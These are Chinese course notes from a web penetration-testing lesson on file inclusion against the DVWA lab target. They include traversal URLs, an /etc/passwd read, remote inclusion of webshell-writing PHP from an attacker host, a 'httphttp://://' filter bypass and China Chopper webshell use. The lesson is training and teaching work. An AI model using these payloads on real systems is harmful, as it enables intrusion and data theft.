文件包含漏洞渗透攻击_3 | 学习笔记

简介: 快速学习 文件包含漏洞渗透攻击_3

开发者学堂课程【网络安全攻防 - Web渗透测试文件包含漏洞渗透攻击_3学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9903


文件包含漏洞渗透攻击_3


内容介绍

一、本地文件包含

二、远程文件包含

三、中安全级别渗透

四、高安全级别渗透

五、总结


一、本地文件包含

进入 windows192.168.106.134/网址,找到 Damn Vulnerable Web Application 上传 cc 图片,然后找到文件上传漏洞 File inclusion 换成

192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/cc.jpg,结果如下

image.png

图片要尽量小一些,太大的图片执行可能会出现问题 。

//打开图片 cc 查看

root@owaspbwa :/var/www/ dvwa/hackable/uploads#iscc.jpg

root@owaspbwa :/var/www/ dvwa/hackable/uploads# vim cc.jpg

出现一段特别的代码如下:

image.png

//最终生成如下内容,图片被文件包含的方式执行了。

root@owaspbwa:/var/www/dvwa/hackable/uploads#cd/var/www/dvwa/vulnerabilities/fi/

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#ls

help include.php index.php shell20.php source

root@owaspbwa/var/www/dvwa/vulnerabilities/fi#moreshell20.php

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#

打开中国菜刀,添加 shell,地址为:

192.168.106.134/divwa/vulnerabilities/fi/shell20.php,点击文件管理,检查是否能够新建文件和删除文件。新建文件/var /www/ dvwal/vulner abilities/fi/zhuzhu.txt,该文件也可以删除,代表没有问题。

以上是本地文件包含的基本过程。


二、远程文件包含

搭建一个服务器,把要包含的文件提前扔到服务器上,再包含它就可以。搭服务器可以指定任意机器搭建服务器,Kali 可以帮助搭建服务器,因为 kali 本身也是网站服务器。

//kali 上启动 Apache

root@kali:~# systemctl start apache2

//查看状态

root@kali:~# systemctl status apache2

image.png

//网站主目录默认是在 var/www/html 下,但是目前 kali 机器只有 ip,没有其他内容,Ip是177.

root@kali:~# ip a

image.png

访问192.168.106.177,只是一个测试网页,而不是最终生成木马的文件。

//建立 yangge.txt  文件,内容是最终生成木马的内容。这个文件是一个 txt 文件不能入侵和执行。

root@kali:~# var/www/html/yangge.txt

//粘贴内容,可以使用 ctrl+shift+v,也可在编辑中找到粘贴按钮粘贴。

')?>

//检查该文件能否使用,输入网址192.168.106.177/yangge.txt,虽然代码是 php 的,但是它是一个 txt 文件。

//实现文件包含,找到 File inclusion 文件包含,输入远程路径:

192.168.106.134/dvwa/vulnerabilities/fi/?page=http://192.168.106.177/yangge.txt

//生成结果没有乱码,因为文件本身就没有乱码。一般情况下应该是一段 php 代码。检查内容是否生成,路径已经测试过没有问题,所以不用再考虑路径。

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# is

help include.php index.php shell50.php source

root@owaspbwa/var/www/dvwa/vulnerabilities/fi# moreshell50.php

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#

//远程文件包含只需要把要包含的文件提前在自己的网站上准备好,不一定必须是图片,php 的也可以。进入 var/www/html 下

root@kali:/var/www/html# cp yangge.txt yangge.php

root@kali:/var/www/html# vim yangge.php

//把 shell50 改为 shell60 ,密码也改为60。

')?>

//直接执行是有危害的,所以在 DVWA 中执行。输入路径192.168.106.134/dvwa/vulnerabilities/fi/?page=http://192.168.106.177/yangge.php,执行完成后,出现 shell60,相当于它把文件包含过去执行。

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# is

help include.php index.php shell20.php shell50 shell60.php source

root@owaspbwa/var/www/dvwa/vulnerabilities/fi#

//使用菜刀运行60没有内容,因为60是空文件,东西没写进去,说明 PHP 有问题,所以只使用 txt 和 jpg 。

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#more shell60.php

//修改代码,尝试再重新运行。

fputs(fopen(“shell60.php","w"),'')

?>

//删除原来的文件

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# rm -rf shell.php

//重新执行,查看大小

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# is -l

image.png

运行结果中 Shell60 不存在了,说明 php 代码可能有特定的写法格式,所以只使用 txt 和 jpg 就可以了。

//使用菜刀连接50地址为192.168.106.134/divwa/vulnerabilities/fi/shell50.php,密码是 yangge50,并且配置数据库:

YSQL

localhost

root

owaspbwa

查看 shell50 的文件管理,删除 shell20,在数据库管理中查看 challenge2_articles,以及虚拟终端,检查以上信息都没有问题。

以上内容包含了文件上传和文件包含,文件包含分为本地文件包含和远程文件包含,远程文件包含的做法更加简单。


三、中安全级别渗透

首先在 DVWA Security 中将安全级别调为中级,进入文件包含漏洞页面,查看源码,如下:

$file=$_GET[‘page']://The page we vish to display

//Bad input validation 定义了一个错误输入,使用了替换函数把http://换为空的。

$file=str_replace(“http://”,” ”,$file);

$file= str_replace(“https://”,” ”,$file);

1、本地文件包含

中安全级别对本地文件包含没有任何影响,例如添加本地文件路径,

192.168.106.134/dvwa/vulnerabilities/fi/?page=/etc/passwd

对生成效果没有任何影响,所以可以同样去包含以前的文件。

上传一个图片也是没有问题的。

制作一句话木马图片')?>,上传图片木马文件,执行文件包含并生成后门:http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/redhat.jpg或者使用该图片的绝对路径。最后通过菜刀连接 webshell,没有出现问题。

2、远程文件包含

中安全级别的远程文件包含和低安全级别渗透的远程文件包含有不同的地方。

建立远程服务器,远程文件包含中同样需要建立一个能够提供文件的服务器。在步骤上与低安全级别没有区别。

//在 kali 上新建 yangge500.txt 文件

root@kali:/var/www/html# yangge500.txt

')?>

验证路径是否正确,输入 http://192.168.106.177/yangge500.txt

是正确的。按照低安全级别渗透的做法执行,输入192.168.106.134/dvwa/vulnerabilities/fi/?page=http://192.168.106.177/yangge500.txt,检查文件是否生成,结果生成的只有 shell20 和 shell50,没有 shell500,说明没有成功。原因是这是中安全级别,它将路径中的 http:// 替换成空的了,相当于没有 http://,执行就会报错。

解决办法,将路径修改为:

192.168.106.134/dvwa/vulnerabilities/fi/?page=httphttp://://192.168.106.177/yangge500.txt,这种写法相当于 hthttp://tp://-http://=http://。验证结果如下: shell500 存在

image.png

换成其他写法也可以,例如:

192.168.106.134/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.106.177/yangge500.txt,只要保证原来的 http:// 被拆开即可。


四、高安全级别渗透

在 DVWA Security 中将安全级别调为高级,进入文件包含漏洞页面,查看源码如下:


$file=$_GET[‘page']://The page we vish to display

//only allow include.php,表示如果文件名不等于 include.php ,文件就不会被发现。这种编码称为硬编码,对于后期的修改不灵活,但是安全性很高。

If ($file !=include.php) {

Echo “ERROR:File not found!”:

Exit;

}

?>

这种方式没有漏洞,但是不提倡这种方式,因为不便于开发。最好的做法是对包含的文件稍微做一些检测,比如不随便使用“*”,“*.”等。

文件包含是开发人员为了减轻代码的量,是正常的。但是要注意包含的内容。如果有包含且要建立在对包含的内容没有做严格检测才能构成漏洞,这就是文件包含。


五、总结

很多开发中都会有错误,包括在某个页面上出现错误,在后面的课程中会讲解到 web的漏扫。本节课所讲的漏洞都是明确告知的,是在靶机上进行练习。但是在实际的网站中不会告知漏洞,就要求开发人员运用漏扫软件扫出有漏洞的内容,扫出的内容和本节课学习的效果是相同的。

本节课主要讲解了两个漏洞的内容,文件上传漏洞和文件包含。

1、文件上传漏洞:开发者没有对上传的文件严格检测而导致上传,如果上传 php,就直接上传了一个木马文件。

2、文件包含:从代码的层面上去包含另外一些文件的代码,如果没有对包含的文件进行检查,类似于 jpg,txt 等内容都会包含过来,这样包含过来的代码就可能会生成木马代码。文件包含漏洞在漏洞排行中不是最高的,但是任何一个危险点都有可能威胁到系统的整体安全。

下节课讲解 SQL Injection 内容 ,SQL Injection 是排在第一位的安全风险。

相关文章
|
11月前
|
网络协议 Java 网络安全
如何处理“协议异常”错误
当遇到“协议异常”错误时,通常需要检查网络连接、防火墙设置和软件版本。确保所有组件都是最新的,并尝试重新启动设备或应用程序。如果问题持续存在,请联系技术支持以获取进一步的帮助。
838 59
|
Windows
Windows平台如何修改监听的服务名称?
【8月更文挑战第15天】在Windows平台上可透过注册表编辑器、命令提示符或第三方工具修改服务的显示名称。首先,通过注册表编辑器找到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services`下的目标服务,修改其“DisplayName”键值。或者,在命令提示符中使用`sc config`命令来变更服务名称。此外,利用第三方工具如Windows Service Manager也能简化此过程。修改前请确保了解可能的影响并做好备份。
567 4
|
存储 缓存 NoSQL
有关 COW (CopyOnWrite) 的一切
写入时复制(英语:Copy-on-write,简称COW)是一种计算机 [程序设计]领域的优化策略。其核心思想是,如果有多个调用者(callers)同时请求相同资源(如内存或磁盘上的数据存储),他们会共同获取相同的指针指向相同的资源,直到某个调用者试图修改资源的内容时,系统才会真正复制一份专用副本(private copy)给该调用者,而其他调用者所见到的最初的资源仍然保持不变。这过程对其他的调用者都是 [透明]的。此做法主要的优点是如果调用者没有修改该资源,就不会有副本(private copy) 被创建,因此多个调用者只是读取操作时可以共享同一份资源。
有关 COW (CopyOnWrite) 的一切
|
机器学习/深度学习 Oracle 关系型数据库
|
5天前
|
存储 弹性计算 人工智能
【2025云栖精华内容】 打造持续领先,全球覆盖的澎湃算力底座——通用计算产品发布与行业实践专场回顾
2025年9月24日,阿里云弹性计算团队多位产品、技术专家及服务器团队技术专家共同在【2025云栖大会】现场带来了《通用计算产品发布与行业实践》的专场论坛,本论坛聚焦弹性计算多款通用算力产品发布。同时,ECS云服务器安全能力、资源售卖模式、计算AI助手等用户体验关键环节也宣布升级,让用云更简单、更智能。海尔三翼鸟云服务负责人刘建锋先生作为特邀嘉宾,莅临现场分享了关于阿里云ECS g9i推动AIoT平台的场景落地实践。
【2025云栖精华内容】 打造持续领先,全球覆盖的澎湃算力底座——通用计算产品发布与行业实践专场回顾
|
4天前
|
云安全 人工智能 自然语言处理
阿里云x硅基流动:AI安全护栏助力构建可信模型生态
阿里云AI安全护栏:大模型的“智能过滤系统”。
|
4天前
|
人工智能 自然语言处理 自动驾驶
关于举办首届全国大学生“启真问智”人工智能模型&智能体大赛决赛的通知
关于举办首届全国大学生“启真问智”人工智能模型&智能体大赛决赛的通知